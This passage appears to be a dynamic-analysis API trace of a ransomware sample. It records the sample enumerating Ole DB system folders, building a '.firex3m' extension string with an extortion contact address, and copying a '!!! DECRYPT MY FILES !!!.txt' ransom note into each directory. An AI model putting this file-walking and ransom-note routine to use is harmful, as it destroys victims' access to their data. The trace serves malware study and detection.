pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 1 [0115.976] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui") returned 0x42 [0115.976] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.976] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.976] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.976] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.976] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0115.976] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui", psz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui", len=0x42 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 1 [0115.976] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui") returned 0x42 [0115.976] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.977] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.977] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.977] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.977] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdae4, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0115.977] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdae0, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0115.977] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe84c | out: lpFindFileData=0x6ebe84c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x8b22f66e, dwReserved1=0x1d2a058, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4f00 [0115.977] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0115.977] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0115.987] GetProcessHeap () returned 0x630000 [0115.987] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1478 [0115.987] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb65d7300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0115.987] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui", psz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui", len=0x41 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 1 [0115.987] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui") returned 0x41 [0115.987] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.987] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.987] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.987] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.987] GetProcessHeap () returned 0x630000 [0115.987] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1478, Size=0x10) returned 0x6b1250 [0115.988] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.988] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0115.988] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0115.988] SysReAllocStringLen (in: pbstr=0x6ebee08*=0x0, psz="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll", len=0x37 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 1 [0115.988] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\system\\ole db\\msdaosp.dll") returned 0x37 [0115.988] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.988] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.988] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.988] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.989] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0115.989] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ole db\\msdaosp.dll", psz="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll", len=0x36 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 1 [0115.989] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\system\\ole db\\msdaps.dll") returned 0x36 [0115.989] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.989] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.989] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.989] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.989] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0115.989] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ole db\\msdaps.dll", psz="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll", len=0x37 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 1 [0115.989] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\system\\ole db\\msdasql.dll") returned 0x37 [0115.989] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.990] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.990] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.990] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.990] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0115.990] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ole db\\msdasql.dll", psz="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll", len=0x38 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 1 [0115.990] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\system\\ole db\\msdasqlr.dll") returned 0x38 [0115.990] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.990] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.990] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.990] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.990] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0115.991] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ole db\\msdasqlr.dll", psz="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll", len=0x37 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll") returned 1 [0115.991] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\system\\ole db\\msdatl3.dll") returned 0x37 [0115.991] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.991] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.991] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.991] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.991] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0115.991] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ole db\\msdatl3.dll", psz="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll", len=0x38 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll") returned 1 [0115.991] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\system\\ole db\\msxactps.dll") returned 0x38 [0115.991] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.991] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.991] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.991] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.992] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0115.992] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ole db\\msxactps.dll", psz="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll", len=0x37 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll") returned 1 [0115.992] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\system\\ole db\\oledb32.dll") returned 0x37 [0115.992] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.992] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.992] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.992] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.992] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0115.992] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ole db\\oledb32.dll", psz="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll", len=0x38 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 1 [0115.992] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\system\\ole db\\oledb32r.dll") returned 0x38 [0115.992] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.992] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.993] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.993] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.993] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0115.993] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ole db\\oledb32r.dll", psz="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc", len=0x38 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 1 [0115.993] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\system\\ole db\\oledbjvs.inc") returned 0x38 [0115.993] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.993] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.993] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.993] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.993] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebddac, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0115.993] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdda8, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0115.994] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebeb14 | out: lpFindFileData=0x6ebeb14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4e40 [0115.994] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0115.994] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0116.345] GetProcessHeap () returned 0x630000 [0116.345] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1448 [0116.345] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, 